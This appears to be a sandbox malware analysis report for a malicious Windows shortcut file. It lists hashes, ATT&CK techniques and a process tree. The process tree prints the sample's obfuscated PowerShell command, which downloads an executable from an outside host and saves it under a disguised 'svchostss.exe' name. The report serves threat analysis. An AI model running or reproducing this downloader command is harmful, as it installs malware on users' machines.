84e651b2d55a75ec59b861b11a8f8f7cb155ed81604081c95dd11b8aec5b31b1

Analysis

max time kernel
146s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
10/04/2024, 12:20

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General

Target

84e651b2d55a75ec59b861b11a8f8f7cb155ed81604081c95dd11b8aec5b31b1.lnk
Size

4KB
MD5

afc8158cd8f52a526dc77bd2236e0987
SHA1

d90ccb4cc0c19a71d90eb768d1c9957478971d74
SHA256

84e651b2d55a75ec59b861b11a8f8f7cb155ed81604081c95dd11b8aec5b31b1
SHA512

998e8d1d9faa6b72aa0ba063f2cafe1fc96090c0e27cccc3f5d81c4b06cc71ac7ce407d36ab691dbcd9682a1603f9430226b1042c6c207666853ddabb8e757a6

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3216	powershell.exe
3216	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3216	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1580 wrote to memory of 3216	1580	cmd.exe	86
PID 1580 wrote to memory of 3216	1580	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\84e651b2d55a75ec59b861b11a8f8f7cb155ed81604081c95dd11b8aec5b31b1.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wgeT (”http://3237.sit” + ”e/tes” + ”t0” + ”1” + ”.e” + ”x” + ”e” ) -OUtfilE ”$eNv:PUBlIc\svchostss.exe” ; ( New-objeCt
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_secfbyfo.hma.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3216-7-0x000001ED7AAC0000-0x000001ED7AAE2000-memory.dmp

Filesize
136KB

Download
memory/3216-12-0x00007FFEAA310000-0x00007FFEAADD1000-memory.dmp

Filesize
10.8MB

Download
memory/3216-13-0x000001ED60710000-0x000001ED60720000-memory.dmp

Filesize
64KB

Download
memory/3216-14-0x000001ED60710000-0x000001ED60720000-memory.dmp

Filesize
64KB

Download
memory/3216-15-0x000001ED60710000-0x000001ED60720000-memory.dmp

Filesize
64KB

Download
memory/3216-18-0x00007FFEAA310000-0x00007FFEAADD1000-memory.dmp

Filesize
10.8MB

Download